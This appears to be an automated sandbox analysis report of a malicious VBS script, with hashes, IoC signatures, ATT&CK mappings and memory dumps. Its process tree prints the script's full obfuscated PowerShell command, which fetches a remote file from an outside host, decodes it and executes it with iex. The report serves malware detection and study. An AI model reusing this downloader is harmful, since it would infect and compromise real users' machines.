78e63f6cc614c9dcc77c0c6b8fc6088ce89533d7c05b66b7732904ad6bc886d6

Analysis

max time kernel
146s
max time network
147s
platform
windows7_x64
resource
win7-20231129-en
resource tags

arch:x64arch:x86image:win7-20231129-enlocale:en-usos:windows7-x64system
submitted
02-07-2024 01:36

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

78e63f6cc614c9dcc77c0c6b8fc6088ce89533d7c05b66b7732904ad6bc886d6.vbs
Size

22KB
MD5

003c272edd6f7cf2b08bfc98d1d48c7c
SHA1

a6ee590e3b81dbbce6e550c6dba9256c76cd4e21
SHA256

78e63f6cc614c9dcc77c0c6b8fc6088ce89533d7c05b66b7732904ad6bc886d6
SHA512

4a251916c7e5bef128493ca4f9c303288d9f5934f763f5c383ebf99a671686359cacd977913260ed1c6a3c2e4df36a57873bf4620f7395a70d7eb1b82deb3213
SSDEEP

384:clzV6m2So022lGP9V6+s0flKJpl/5ZrE5HVnS0Re7PIx+5lEPmgww5Bpg3KU7a4i:ozSR022X/523S0e8xPPmKpgY4Rr0j

Score

8^/10

Malware Config

Signatures

Blocklisted process makes network request 64 IoCs

Processes:

powershell.exe

flow	pid	process
5	3028	powershell.exe
6	3028	powershell.exe
7	3028	powershell.exe
8	3028	powershell.exe
9	3028	powershell.exe
10	3028	powershell.exe
11	3028	powershell.exe
12	3028	powershell.exe
13	3028	powershell.exe
14	3028	powershell.exe
15	3028	powershell.exe
16	3028	powershell.exe
17	3028	powershell.exe
18	3028	powershell.exe
19	3028	powershell.exe
20	3028	powershell.exe
21	3028	powershell.exe
22	3028	powershell.exe
23	3028	powershell.exe
24	3028	powershell.exe
25	3028	powershell.exe
26	3028	powershell.exe
27	3028	powershell.exe
28	3028	powershell.exe
29	3028	powershell.exe
30	3028	powershell.exe
31	3028	powershell.exe
32	3028	powershell.exe
33	3028	powershell.exe
34	3028	powershell.exe
35	3028	powershell.exe
36	3028	powershell.exe
37	3028	powershell.exe
38	3028	powershell.exe
39	3028	powershell.exe
40	3028	powershell.exe
41	3028	powershell.exe
42	3028	powershell.exe
43	3028	powershell.exe
44	3028	powershell.exe
45	3028	powershell.exe
46	3028	powershell.exe
47	3028	powershell.exe
48	3028	powershell.exe
49	3028	powershell.exe
50	3028	powershell.exe
51	3028	powershell.exe
52	3028	powershell.exe
53	3028	powershell.exe
54	3028	powershell.exe
55	3028	powershell.exe
56	3028	powershell.exe
57	3028	powershell.exe
58	3028	powershell.exe
59	3028	powershell.exe
60	3028	powershell.exe
61	3028	powershell.exe
62	3028	powershell.exe
63	3028	powershell.exe
64	3028	powershell.exe
65	3028	powershell.exe
66	3028	powershell.exe
67	3028	powershell.exe
68	3028	powershell.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082
Suspicious behavior: EnumeratesProcesses 1 IoCs

Processes:

powershell.exe

pid process

3028 powershell.exe
Suspicious use of AdjustPrivilegeToken 1 IoCs

Processes:

powershell.exe

description pid process

Token: SeDebugPrivilege 3028 powershell.exe

pid	process
3028	powershell.exe

description	pid	process
Token: SeDebugPrivilege	3028	powershell.exe

Suspicious use of WriteProcessMemory 6 IoCs

Processes:

WScript.exepowershell.exe

description	pid	process	target process
PID 2196 wrote to memory of 3028	2196	WScript.exe	powershell.exe
PID 2196 wrote to memory of 3028	2196	WScript.exe	powershell.exe
PID 2196 wrote to memory of 3028	2196	WScript.exe	powershell.exe
PID 3028 wrote to memory of 2712	3028	powershell.exe	cmd.exe
PID 3028 wrote to memory of 2712	3028	powershell.exe	cmd.exe
PID 3028 wrote to memory of 2712	3028	powershell.exe	cmd.exe

C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\78e63f6cc614c9dcc77c0c6b8fc6088ce89533d7c05b66b7732904ad6bc886d6.vbs"
1⤵
- Suspicious use of WriteProcessMemory
PID:2196

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "cls;write 'Sewerage Oplsningsaftenens Skrivebordsteoriers Strubelydene187 Ascon Frilgge Tlsynspligternes Efterskrifter Filterable Afgiftsobjekter Sytjerne Unpurchased Bestte Ligemand Michela enarthroses philotechnical Patternise Unsaponified31 Svampekosten Miljforbrydelserne Formastelse Kongrespaladss Ophiostaphyle Sewerage Oplsningsaftenens Skrivebordsteoriers Strubelydene187 Ascon Frilgge Tlsynspligternes Efterskrifter Filterable Afgiftsobjekter Sytjerne Unpurchased Bestte Ligemand Michela enarthroses philotechnical Patternise Unsaponified31 Svampekosten Miljforbrydelserne Formastelse Kongrespaladss Ophiostaphyle';If (${host}.CurrentCulture) {$Sulphoacetic++;}Function Ivywood($Oversteges){$Swelly=$Oversteges.Length-$Sulphoacetic;$Undfangelsestidspunkter='SUBsTRI';$Undfangelsestidspunkter+='ng';For( $Maladministers=1;$Maladministers -lt $Swelly;$Maladministers+=2){$Sewerage+=$Oversteges.$Undfangelsestidspunkter.Invoke( $Maladministers, $Sulphoacetic);}$Sewerage;}function Unisexes($Dobbelterklringens){ . ($Botanikkerne) ($Dobbelterklringens);}$Fyldepenneblk=Ivywood 'aM.oRz i l lTaR/B5 . 0H A(eWFi n,dFoMwEs, .NTT, ,1B0 .,0 ;O MW,i n,6H4,; xD6S4S;R r vF:K1.2 1R. 0L)d ,G,eHc.kAo,/.2.0K1.0 0,1V0 1. SF imrDe fAo x,/a1F2.1J. 0T ';$Kilders=Ivywood 'SURs e,rT- AVgBe n tN ';$Ascon=Ivywood 'RhDt.t p.sR:M/ / c oPn t.e mCeSgEac. cSo.mC.Od o / N eSwV/ N eaw /.PIuTsCt eAn eP.TlYpPkT ';$Marijanne=Ivywood ' > ';$Botanikkerne=Ivywood '.iPe x. ';$Kandidaternes='Efterskrifter';$Spindelvvs = Ivywood ' e c h.oT %Fa pHpSd.a,tFa.% \ K aNs.i nSoOeUr,n.e ..P r i, ,&H&E ePc.h oT tB ';Unisexes (Ivywood 'E$Tg l,oPbfa l :,BBe,dMr eNv iCdMeDnAdUe =.(OcKm,d /.c $LSLp,iTn d e,lRv v s ) ');Unisexes (Ivywood ',$ g.l o,bCa l,: SOt r ubb e,l yBd e nLe 1.8,7 =s$,Ads c.o,nT..s pBlMi.t ( $ M.aCr.iSjOa n.n ef)O ');Unisexes (Ivywood ',[rN e tS.ESSeGr.v i c eRP,o.iFnktUM.a nSa.g e rM]E:T: SpeEcBu rUiAt,ySPMr,oTtUoGcAo l ,=M [kN,eAtE.SS.e c u rUiEt ymPCrSo tSoAc oDlTTOyPpUeT].:,:BTElFsg1S2B ');$Ascon=$Strubelydene187[0];$Utilitarianises= (Ivywood '.$,g l o.b aFlI:CCToLrStniMcTiPpBeHtRaVlS=.N eywH-SO bBjFeMc t. AS,y,sCtPe.m . N e t .RWMeHbUCMl,i,ern t');$Utilitarianises+=$Bedrevidende[1];Unisexes ($Utilitarianises);Unisexes (Ivywood ' $KCRo r t,iAc i pSe t,aVlS.FHVePa.d,eSr s [,$AK ibl dSe r s ]K=.$ F y.l,d ePp,e n nme bSlSk, ');$Confrere=Ivywood '.$.C oTr tSiWcSiHp.e,tEa lG.CD o wFn,l ooa.d F i l.e.( $NAUs,c,o nB, $ FPoJr,m,aMs.t,e.lUsSeP)P ';$Formastelse=$Bedrevidende[0];Unisexes (Ivywood 'O$,g,l.o bBa lU:DV i r iRlLi tGedtReLn =K(.Tfe,s tI-CPAa tEhD S$SFRogrTmHa s tneWlVsEeT)F ');while (!$Viriliteten) {Unisexes (Ivywood '.$pgNlOo braAl,:PBNiMdne nPtDe d =W$ t.rMuNeN ') ;Unisexes $Confrere;Unisexes (Ivywood ',SBtMa r,tS- SKl e eUpD .4m ');Unisexes (Ivywood ' $AgBl.o.b.aTl : VSi.rDi l iHt,e t.eQnT=A(DT eVsTtU-.P,a toh, ,$DF,oTr,m aPsGt.e lTsue.)E ') ;Unisexes (Ivywood ' $,g.l otb aRlt:.S k r iFv.eHb oNr dcs t,e o rPi,e rPs.= $ g,l.oSbCa lH: O pGlAs,n i nDgKsAaHf tFeKnFeMn.s + +D% $ SKtSrWuSbQeBlCy dKeUnOe.1 8b7S..cCo uLnSt ') ;$Ascon=$Strubelydene187[$Skrivebordsteoriers];}$Omnivoracity=340878;$Lehrman=25696;Unisexes (Ivywood 'C$ g lSoBb aXlE:,FCi,l tGe,rSa.bIl e, =U KGDe.t -UCDo nUtFe.nAt t$HFLo r mMa sTtIeDl,s e ');Unisexes (Ivywood 'I$.gElDo.b,aPlT:.KCu nPsGtTkPr iFt iFkNe rTeCnBs, I=O [ S yNs t.e,m .FC o.nAv e r tS].: :HFRr oSm BSaPsLeA6R4FSFtSr i,nAgT( $HF iGlRtKeSrVa,b.l eT)R ');Unisexes (Ivywood ' $Cgcl o,bAa,l : USn p uTr.cIh aSs,eHdP ,=T [MS.yDs.tVeCmT. TleAxStP..ESn cRo d i.nIg.] :.: A SUCMI I..RG,eMt SRt r iAn g,(B$BKPu n,sUt k r iPtKi.kGeFrSeKnSs )M ');Unisexes (Ivywood 'C$,g,lDoSb aTlK: HSyTtUt e hRo.lidDsA=K$HU nEpTuHr c h aFsBe d .Ps u.b.sftSr iSnMg.(,$FONm,nPi vKo r a c.iFtEy ,A$PLTeEhMr m a n )B ');Unisexes $Hytteholds;"
2⤵
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:3028

C:\Windows\system32\cmd.exe
"C:\Windows\system32\cmd.exe" /c "echo %appdata%\Kasinoerne.Pri && echo t"
3⤵
PID:2712

Network

MITRE ATT&CK Matrix ATT&CK v13

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Exfiltration

Command and Control

Impact

Resource Development

Reconnaissance

Replay Monitor

Loading Replay Monitor...

Downloads

memory/3028-4-0x000007FEF5C4E000-0x000007FEF5C4F000-memory.dmp

Filesize
4KB

Download
memory/3028-7-0x000007FEF5990000-0x000007FEF632D000-memory.dmp

Filesize
9.6MB

Download
memory/3028-6-0x0000000002790000-0x0000000002798000-memory.dmp

Filesize
32KB

Download
memory/3028-5-0x000000001B690000-0x000000001B972000-memory.dmp

Filesize
2.9MB

Download
memory/3028-8-0x000007FEF5990000-0x000007FEF632D000-memory.dmp

Filesize
9.6MB

Download
memory/3028-9-0x000007FEF5990000-0x000007FEF632D000-memory.dmp

Filesize
9.6MB

Download
memory/3028-10-0x000007FEF5990000-0x000007FEF632D000-memory.dmp

Filesize
9.6MB

Download
memory/3028-11-0x000007FEF5990000-0x000007FEF632D000-memory.dmp

Filesize
9.6MB

Download
memory/3028-12-0x000007FEF5C4E000-0x000007FEF5C4F000-memory.dmp

Filesize
4KB

Download
memory/3028-13-0x000007FEF5990000-0x000007FEF632D000-memory.dmp

Filesize
9.6MB

Download